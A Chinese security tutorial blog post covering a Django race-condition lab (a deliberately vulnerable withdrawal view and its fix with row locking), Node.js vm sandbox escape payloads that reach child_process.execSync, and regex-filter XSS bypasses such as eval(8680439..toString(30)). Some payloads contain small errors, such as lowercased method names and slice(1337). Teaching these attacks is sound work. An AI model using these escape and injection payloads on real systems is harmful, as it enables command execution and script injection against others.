Race竞争型漏洞的复现以及沙箱逃逸结合正则

Race竞争性漏洞的复现

实验环境

我们这里讲到的是常常存在漏洞的Django代码
以及最后使用yakit软件进行测试

运行环境的搭建

使用Django-Cookiecutter脚手架创建一个项目,项目名是Race Condition Playground。

然后在创建两个新的model。

class User(AbstractUser):
    username = models.CharField('username', max_length=256)
    email = models.EmailField('email', blank=True, unique=True)
    money = models.IntegerField('money', default=0)

    USERNAME_FIELD = 'email'
    REQUIRED_FIELDS = ['username']

    class Meta(AbstractUser.Meta):
        swappable = 'AUTH_USER_MODEL'
        verbose_name = 'user'
        verbose_name_plural = verbose_name

    def __str__(self):
        return self.username
class WithdrawLog(models.Model):
    user = models.ForeignKey('User', verbose_name='user', on_delete=models.SET_NULL, null=True)
    amount = models.IntegerField('amount')

    created_time = models.DateTimeField('created time', auto_now_add=True)
    last_modify_time = models.DateTimeField('last modify time', auto_now=True)

    class Meta:
        verbose_name = 'withdraw log'
        verbose_name_plural = 'withdraw logs'

    def __str__(self):
        return str(self.created_time)

User类继承自 AbstractUser:User 模型类继承了 Django 内置的 AbstractUser 模型类,它提供了常见的用户身份认证和权限相关的字段和方法。

User字段
username:用户名,是一个字符型字段,最大长度为 256。
email:电子邮件,是一个字符型字段,允许为空,必须唯一。
money:钱,是一个整数型字段,用于存储用户的金钱数额,默认值为 0。
USERNAME_FIELD 和 REQUIRED_FIELDS:这两个字段用于配置用户登录认证时所使用的字段。在这里,email 字段被设置为 USERNAME_FIELD,这意味着用户登录时将使用邮箱来进行认证。username 字段被添加到 REQUIRED_FIELDS,这意味着在创建用户时,必须提供用户名。

str() 方法:这个方法定义了提现记录对象在使用 str() 函数时返回的字符串表示。

一个是User表,用以储存用户,其中money字段是这个用户的余额;一个是WithdrawLog表,用以储存提取的日志。我们假设公司财务会根据这个日志表来向用户打款,那么只要成功在这个表中插入记录,则说明攻击成功。

我们编写一个WithdrawForm,其字段amount,表示用户此时想提取的余额。

class WithdrawForm(forms.Form):
    amount = forms.IntegerField(min_value=1)

    def __init__(self, *args, **kwargs):
        self.user = kwargs.pop('user', None)
        super().__init__(*args, **kwargs)

    def clean_amount(self):
        amount = self.cleaned_data['amount']
        if amount > self.user.money:
            raise forms.ValidationError('insufficient user balance')
        return amount

如果发现用户要提取的金额大于用户的余额,则抛出一个forms.ValidationError异常。

最后,在写一个用于用户体现的View。

class BaseWithdrawView(LoginRequiredMixin, generic.FormView):
    template_name = 'form.html'
    form_class = forms.WithdrawForm

    def get_form_kwargs(self):
        kwargs = super().get_form_kwargs()
        kwargs['user'] = self.request.user
        return kwargs


class WithdrawView1(BaseWithdrawView):
    success_url = reverse_lazy('ucenter:withdraw1')
	//form表单验证
	//已经通过验证
    def form_valid(self, form):
        amount = form.cleaned_data['amount']
        self.request.user.money -= amount
        self.request.user.save()
        models.WithdrawLog.objects.create(user=self.request.user, amount=amount)

        return redirect(self.get_success_url())

以上 WithdrawView1()是创建的视图,即是最后页面钟返回的页面,因为使用了django的generic.FormView,所以Django在接收到POST请求后会正常使用form的方法进行检查(包含上面提到的余额充足的检查)。
执行函数完成操作后,会对request.user.money进行减少,在WithdrawLog中添加一条新的交易记录。

环境测试

讲这个程序运行起来,我们讲这个后台的账户余额设置为10。

然后去到前端,提交50,然后会因为余额不足进行报错。
在这里插入图片描述

在经过amount <= user.money检查后,服务端执行提现操作,会正常进行余额的比较以及查询余额对比是否不足。

但如果某个用户同时发起两次提现请求,在第一个请求经过检查到达Withdraw handler之前,此时该用户的user.money是还没有减少的;此时第二个请求如果也经过了检查,两个请求同时到达Withdraw handler,就会导致user.money -= amount执行两次。这样这个余额执行的错误就发生了。

这时,测试需要用到我们的Yakit工具,新建一个Web Fuzzer,贴入提现的数据包。
然后我在数据包中添加{{repeat(100)}},并把并发线程调高到100发送,此时Yakit就会使用100个线程重复发送100次这个数据包。结果如下:
在这里插入图片描述
我们可以清楚的看到POST请求返回302,说明我们的请求成功了。在后台我们可以发现,我们的余额只有10,但是由于请求成功了3次,所以,体现记录达到了3次,这样我们就损失了20元钱,就会造成我们的财力损失。

解决方法

我们就会问,这个问题既然发生了,那应该如何进行解决呢?

这里我们就会聊到的机制,在你执行提取现金的业务时,我们将你的这个线程进行锁住,不让它被进行干扰,当你提取完成后,我们在将其放开。这样是否就解决了这个问题了。

Django在ORM里提供了对数据库Select for Update的支持,在PostgreSQL、Mysql、Oracle三个数据库中都可以使用,结合Where语句,可以实现行级的锁。

START transation;
SELECT * FROM user WHERE id = 1 FOR UPDATE;
COMMIT;

以上代码就是悲观锁的体现。在执行语句后面我们加上FOR UPDATE的字眼,将其锁住。这样就可以保证我们在同一个事务内执行的操作的原子性。

class WithdrawView2(BaseWithdrawView):
    success_url = reverse_lazy('ucenter:withdraw3')

    def get_form_kwargs(self):
        kwargs = super().get_form_kwargs()
        kwargs['user'] = self.user
        return kwargs

    @transaction.atomic
    def dispatch(self, request, *args, **kwargs):
        self.user = get_object_or_404(models.User.objects.select_for_update().all(), pk=self.request.user.pk)
        return super().dispatch(request, *args, **kwargs)

    def form_valid(self, form):
        amount = form.cleaned_data['amount']
        self.user.money -= amount
        self.user.save()
        models.WithdrawLog.objects.create(user=self.user, amount=amount)

        return redirect(self.get_success_url())

这是通过悲观锁来写的一个 WithdrawView2。

在进行同理测试。
在这里插入图片描述
我们可以发现,它只返回了一个请求成功成功。所以这个问题我们就解决了。
当然使用悲观锁加事务,它是会有性能上的问题的。如果有大量读操作的场景下,因为每次访问这个view都会锁住当前用户对象,此时其他要使用这个用户的场景(如查看用户主页)也会卡住。所以就还有更好的方案,那就是乐观锁加上事务。

沙箱逃逸以及原型链的污染问题

沙箱逃逸

vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

这是一个简单使用vm环境的nodejs代码。
我们在电脑中的cmd去执行一下。
在这里插入图片描述
但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:
this 指向传给vm.createContext的那个对象

m 等于数字1

n 等于数字2

我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。
例如:

this.toString.constructor('return process')()
const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString()

第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。

第二行,利用前面获取的process对象执行任何命令。

进行沙箱逃逸,我们可以使用this,,进而获取到函数对象的构造器,在进而获取到process对象。
或者我们利用引用类型,例如{}。

进而我们可以得到沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

const vm=require('vm');
const script=`..`;
const sanbox=Object.create(null);
const context=new vm.createContext(sanbox);
const res=vm.runInContext(script,context);
console.log(res);

我们来看这个代码,这里使用Object.create(null),所以这个this的指向null,即我们不能够用this的构造对象进而来获取方法了。

所以,这里我们应该这要考虑,

const script=`(()=>
const a={}
a.tostring=function(){
    const cc=arguments.callee.caller
    const p =(cc.constructor('return process'))()
    return p.mainModule.require('child_process').execsync('whoami').tostring()
}
return a
})()`;

通过argument.callee.caller来获取到process对象,从而达到执行命令的操作。
这里argument.callee,它是返回的函数本身。
argument.callee.caller,这里谁调用了它,它就返回谁。

最后需要

console.log('hello'+res);

来达到触发tostring,在js中,某一个东西和字符串拼接,它最后也会变成字符串。
和字符串连接,就会调用它的**tostring()**方法,从而达到触发上述所写的代码。

正则绕过

首先我们来看这个:

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert|prompt|confirm/g, '_')
eval(mafia)

它的要求是需要我们弹窗1337。

首先,我们先分析一下这个正则表达式,,明显可以看出,这里过滤了`, ', ",+,-,!,,[,]并且过滤了弹窗函数alert,这样的一个正则,如果去绕过它呢?
弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗。那么第一种方式就找到了。

prompt(1337);
confirm(1337);

每个 JavaScript 函数实际上都是一个 Function 对象。Function 构造函数创建一个新的 Function 对象。直接调用此构造函数可用动态创建函数,但会遇到和 eval 类似的的安全问题和(相对较小的)性能问题。然而,与 eval 不同的是,Function 创建的函数只能在全局作用域中运行。


那么我们利用Function函数实现alert的弹窗
payload2: Function(/ALERT(1337)/.source.toLowerCase())()

使用eval函数绕过限制,要被解析的值。如果参数不是一个字符串,则将其转换为字符串(使用 ToString 抽象操作)。字符串开头的空白符将会被忽略

parseInt('alert', 30)
a 1
t 20   -----> 30  0,1,2,3,4,5,6,7,8,9 A B C D E F

可以大于20,但不能下于20,不然就会产生单词的取不完整的情况。
要将一个数字转换为特定的 radix 中的字符串字段,请使用 thatNumber.toString(radix)函数。

8680439..toString(30) === alert
payload3:eval(8680439..toString(30))(1337)

利用location中的hash来绕过关键字。
看下面例子

var url = document.createElement('a');
url.href = 'https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container';
console.log(url.href);      // https://developer.mozilla.org/en-US/search?q=URL#search-results-close-container
console.log(url.protocol);  // https:
console.log(url.host);      // developer.mozilla.org
console.log(url.hostname);  // developer.mozilla.org
console.log(url.port);      // (blank - https assumes port 443)
console.log(url.pathname);  // /en-US/search
console.log(url.search);    // ?q=URL
console.log(url.hash);      // #search-results-close-container
console.log(url.origin);    // https://developer.mozilla.org

我们可以明显看到location.hash是取url中#后面的部分。

eval(location.hash.slice(1337))#alert(1337)

这样就实现了绕过了。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值